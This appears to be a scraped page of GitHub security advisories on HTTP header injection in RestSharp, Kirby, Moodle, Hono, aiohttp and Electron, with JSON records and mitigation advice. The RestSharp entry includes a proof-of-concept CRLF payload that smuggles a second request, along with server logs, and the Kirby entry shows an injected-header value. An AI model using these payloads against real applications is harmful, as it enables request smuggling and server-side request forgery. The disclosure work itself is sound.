  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Electron: HTTP Response Header Injection in custom protocol handlers and webRequest"
}

GHSA-4RR6-2V9V-WCPC

Vulnerability from github – Published: 2024-08-29 19:30 – Updated: 2024-10-01 21:48

Summary

CRLF Injection in RestSharp's `RestRequest.AddHeader` method

Details

Summary

The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.

This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:

using RestSharp;

class Program
{
    static async Task Main(string[] args)
    {
        // Usage: dotnet run <api key>
        var key = args[0];
        var options = new RestClientOptions("http://insert.some.site.here");
        var client = new RestClient(options);
        var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
        var response = await client.ExecuteAsync(request);
        Console.WriteLine($"Status: {response.StatusCode}");
        Console.WriteLine($"Response: {response.Content}");
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"

Impact

If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

5.7 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

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To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "RestSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "107.0.0-preview.1"
            },
            {
              "fixed": "112.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-74",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-29T19:30:51Z",
    "nvd_published_at": "2024-08-29T22:15:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe second argument to `RestRequest.AddHeader` (the header value) is vulnerable to CRLF injection. The same applies to `RestRequest.AddOrUpdateHeader` and `RestClient.AddDefaultHeader`.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32\u003e This method does not check for CRLF characters in the header value.\n\nThis means that any headers from a `RestSharp.RequestHeaders` object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable \"api key\" and then makes a request to some status page with the provided key inserted in the \"Authorization\" header:\n\n```c#\nusing RestSharp;\n\nclass Program\n{\n    static async Task Main(string[] args)\n    {\n        // Usage: dotnet run \u003capi key\u003e\n        var key = args[0];\n        var options = new RestClientOptions(\"http://insert.some.site.here\");\n        var client = new RestClient(options);\n        var request = new RestRequest(\"/status\", Method.Get).AddHeader(\"Authorization\", key);\n        var response = await client.ExecuteAsync(request);\n        Console.WriteLine($\"Status: {response.StatusCode}\");\n        Console.WriteLine($\"Response: {response.Content}\");\n    }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nStatus: OK\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: \u003capi key\u003e\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\nUser-Agent: RestSharp/111.4.1.0\nAccept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\nAccept-Encoding: gzip, deflate, br\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"RestSharp/111.4.1.0\"\n```\n\n### Impact\nIf an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.\n\n",
  "id": "GHSA-4rr6-2v9v-wcpc",
  "modified": "2024-10-01T21:48:41Z",
  "published": "2024-08-29T19:30:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/restsharp/RestSharp/security/advisories/GHSA-4rr6-2v9v-wcpc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45302"
    },
    {
      "type": "WEB",
      "url": "https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/restsharp/RestSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CRLF Injection in RestSharp\u0027s `RestRequest.AddHeader` method"
}

GHSA-4V4H-M2QQ-PPGW

Vulnerability from github – Published: 2026-06-18 15:04 – Updated: 2026-06-18 15:04

Summary

Kirby: Request header injection in `Http\Remote`

Details

TL;DR

This vulnerability affects Kirby sites and plugins that use the Kirby\Http\Remote class (including Remote::request(), Remote::get(), Remote::post(), and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the headers option of such a request.

By including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.

A successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are not affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.

In Kirby's default configuration, the Remote class is not exposed to untrusted input, so a default installation is not affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.

Introduction

HTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (\r\n). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.

For outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as Authorization, Host, or Cookie), to smuggle requests, or to poison caches on the upstream system.

Such vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request – for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.

Affected components

The Kirby\Http\Remote class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its headers option allows callers to define the headers sent with the request.

As the vulnerability is in the way Remote assembles these headers, it affects all code paths that send a Remote request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.

Impact

In affected releases, header values passed to Remote were handed to the cURL request library without removing newline characters:

The headers option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing \r\n was written verbatim to the socket and therefore split into several header lines on the wire.

For example, a single X-Foo header value of "Bar\r\nX-Injected: pwned" produced two separate headers in the outgoing request:

X-Foo: Bar
X-Injected: pwned

The receiving server parsed X-Injected: pwned as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate Authorization header).

The vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.

Patches

The problem has been patched in Kirby 4.9.4 and Kirby 5.4.4. Please update to one of these or a later version to fix the vulnerability.

In all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.9.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.4.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-alpha.1"
            },
            {
              "fixed": "5.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T15:04:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### TL;DR\n\nThis vulnerability affects Kirby sites and plugins that use the `Kirby\\Http\\Remote` class (including `Remote::request()`, `Remote::get()`, `Remote::post()`, and similar helpers) to send outgoing HTTP requests and that pass untrusted, user-controlled data into the `headers` option of such a request.\n\nBy including newline characters in the value of the header, it was possible to inject a separate, independent header that was not intended to be set.\n\nA successful attack requires that an application or plugin forwards attacker-influenced input into a request header value. Sites that only send static, developer-defined headers are *not* affected. The attack does not target Panel users or site visitors directly; it targets the remote service that Kirby connects to.\n\nIn Kirby\u0027s default configuration, the `Remote` class is not exposed to untrusted input, so a default installation is *not* affected. The vulnerability becomes relevant for custom code, plugins, or integrations that build request headers from user input.\n\n----\n\n### Introduction\n\nHTTP header injection (also known as CRLF injection) is a type of vulnerability that allows an attacker to insert additional, attacker-controlled HTTP headers into a request or response. HTTP headers are separated by carriage-return and line-feed characters (`\\r\\n`). If untrusted data containing these characters is placed into a header value without sanitization, an attacker can terminate the intended header early and append headers of their own.\n\nFor outgoing requests, this means an attacker who controls part of a header value can add or override headers that the application did not intend to send. Depending on the remote service, this can be used to override security-relevant headers (such as `Authorization`, `Host`, or `Cookie`), to smuggle requests, or to poison caches on the upstream system.\n\nSuch vulnerabilities are relevant if untrusted input can reach the header values of an outgoing request \u2013 for example, a user-configurable API token, a forwarded tracking identifier, or any other value that originates from a request, form field, or content file.\n\n### Affected components\n\nThe `Kirby\\Http\\Remote` class is used throughout Kirby and by plugins to perform outgoing HTTP requests. Its `headers` option allows callers to define the headers sent with the request.\n\nAs the vulnerability is in the way `Remote` assembles these headers, it affects all code paths that send a `Remote` request whose header values contain untrusted data. The Kirby core itself has not passed untrusted data in that way, but plugins or custom code might have used the class in such a way.\n\n### Impact\n\nIn affected releases, header values passed to `Remote` were handed to the cURL request library without removing newline characters:\n\nThe `headers` option accepted arbitrary strings as header values and forwarded them to the underlying cURL request unchanged. A value containing `\\r\\n` was written verbatim to the socket and therefore split into several header lines on the wire.\n\nFor example, a single `X-Foo` header value of `\"Bar\\r\\nX-Injected: pwned\"` produced two separate headers in the outgoing request:\n\n```\nX-Foo: Bar\nX-Injected: pwned\n```\n\nThe receiving server parsed `X-Injected: pwned` as its own header. In the same way, an attacker could override a header that the application set earlier in the same request (for example, replacing a legitimate `Authorization` header).\n\nThe vulnerability allows attackers to inject or override HTTP headers in outgoing requests, provided the affected application or plugin includes attacker-controlled data in a header value.\n\n### Patches\n\nThe problem has been patched in [Kirby 4.9.4](https://github.com/getkirby/kirby/releases/tag/4.9.4) and [Kirby 5.4.4](https://github.com/getkirby/kirby/releases/tag/5.4.4). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, we now strip carriage-return and line-feed characters from header values before they are passed to the underlying request, preventing additional headers from being injected.",
  "id": "GHSA-4v4h-m2qq-ppgw",
  "modified": "2026-06-18T15:04:47Z",
  "published": "2026-06-18T15:04:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/security/advisories/GHSA-4v4h-m2qq-ppgw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkirby/kirby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/4.9.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkirby/kirby/releases/tag/5.4.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kirby: Request header injection in `Http\\Remote`"
}

GHSA-4W8M-96V9-2C86

Vulnerability from github – Published: 2022-05-13 01:13 – Updated: 2024-01-17 18:51

Summary

Moodle CRLF Injection Vulnerability in Calendar Component

Details

CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "fixed": "2.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2011-4203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-17T18:51:01Z",
    "nvd_published_at": "2011-12-22T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.",
  "id": "GHSA-4w8m-96v9-2c86",
  "modified": "2024-01-17T18:51:01Z",
  "published": "2022-05-13T01:13:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/581e8dba387f090d89382115fd850d8b44351526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/ae7cc577b7115a7ad7a68dc4986aca9e2bda2cf5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/bc577df6a974606fcb0882b090b00ea5a4e10cf6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/e311b14364719b0f7851149ee51c1a4ec732635e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moodle/moodle"
    },
    {
      "type": "WEB",
      "url": "https://moodle.org/mod/forum/discuss.php?d=191754"
    },
    {
      "type": "WEB",
      "url": "http://penturalabs.wordpress.com/2011/12/13/advisory-crlf-injection-vulnerability-in-moodle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Moodle CRLF Injection Vulnerability in Calendar Component"
}

GHSA-55CM-P4WW-685G

Vulnerability from github – Published: 2026-06-23 15:32 – Updated: 2026-06-23 15:32

Details

Hono before 4.12.12 does not validate cookie names on the write path in the setCookie(), serialize(), and serializeSigned() functions, allowing invalid characters such as control characters (e.g. \r or \n) when an application passes a user-controlled cookie name. This can produce malformed Set-Cookie header values. In modern runtimes such as Node.js and Cloudflare Workers, such invalid header values are rejected and cause a runtime error before the response is sent, so header injection or response splitting could not be reproduced; the issue primarily affects correctness and robustness, resulting in runtime errors (availability) rather than confirmed header injection.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-56762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-23T13:16:46Z",
    "severity": "MODERATE"
  },
  "details": "Hono before 4.12.12 does not validate cookie names on the write path in the setCookie(), serialize(), and serializeSigned() functions, allowing invalid characters such as control characters (e.g. \\r or \\n) when an application passes a user-controlled cookie name. This can produce malformed Set-Cookie header values. In modern runtimes such as Node.js and Cloudflare Workers, such invalid header values are rejected and cause a runtime error before the response is sent, so header injection or response splitting could not be reproduced; the issue primarily affects correctness and robustness, resulting in runtime errors (availability) rather than confirmed header injection.",
  "id": "GHSA-55cm-p4ww-685g",
  "modified": "2026-06-23T15:32:37Z",
  "published": "2026-06-23T15:32:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-26pp-8wgv-hjvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56762"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hono-missing-cookie-name-validation-in-setcookie"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5PQ2-9X2X-5P6W

Vulnerability from github – Published: 2026-03-04 19:49 – Updated: 2026-03-05 15:26

Summary

Hono Vulnerable to Cookie Attribute Injection via Unsanitized domain and path in setCookie()

Details

Summary

The setCookie() utility did not validate semicolons (;), carriage returns (\r), or newline characters (\n) in the domain and path options when constructing the Set-Cookie header.

Because cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.

Details

setCookie() builds the Set-Cookie header by concatenating option values. While the cookie value itself is URL-encoded, the domain and path options were previously interpolated without rejecting unsafe characters.

Including ;, \r, or \n in these fields could result in unintended additional attributes (such as SameSite, Secure, Domain, or Path) being appended to the cookie header.

Modern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single Set-Cookie header.

The issue has been fixed by rejecting these characters in the domain and path options.

Impact

An attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the domain or path options of setCookie().

This could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.12.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29086"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1113",
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T19:49:14Z",
    "nvd_published_at": "2026-03-04T23:16:10Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `setCookie()` utility did not validate semicolons (`;`), carriage returns (`\\r`), or newline characters (`\\n`) in the `domain` and `path` options when constructing the `Set-Cookie` header.\n\nBecause cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.\n\n## Details\n\n`setCookie()` builds the `Set-Cookie` header by concatenating option values. While the cookie value itself is URL-encoded, the `domain` and `path` options were previously interpolated without rejecting unsafe characters.\n\nIncluding `;`, `\\r`, or `\\n` in these fields could result in unintended additional attributes (such as `SameSite`, `Secure`, `Domain`, or `Path`) being appended to the cookie header.\n\nModern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single `Set-Cookie` header.\n\nThe issue has been fixed by rejecting these characters in the `domain` and `path` options.\n\n## Impact\n\nAn attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the `domain` or `path` options of `setCookie()`.\n\nThis could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.",
  "id": "GHSA-5pq2-9x2x-5p6w",
  "modified": "2026-03-05T15:26:43Z",
  "published": "2026-03-04T19:49:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-5pq2-9x2x-5p6w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29086"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/44ae0c8cc4d5ab2bed529127a4ac72e1483ad073"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono Vulnerable to Cookie Attribute Injection via Unsanitized domain and path in setCookie()"
}

GHSA-63HF-3VF5-4WQF

Vulnerability from github – Published: 2026-04-01 21:49 – Updated: 2026-07-15 21:50

Summary

AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass

Details

Summary

The C parser (the default for most installs) accepted null bytes and control characters in request headers.

Impact

An attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, request.url.origin() may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.

Patch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

2.7 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.13.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "aiohttp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:49:06Z",
    "nvd_published_at": "2026-04-01T21:17:00Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4",
  "id": "GHSA-63hf-3vf5-4wqf",
  "modified": "2026-07-15T21:50:23Z",
  "published": "2026-04-01T21:49:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aio-libs/aiohttp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AIOHTTP\u0027s C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass"
}

Mitigation

Implementation

Strategy: Input Validation

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Mitigation MIT-30

Implementation

Strategy: Output Encoding

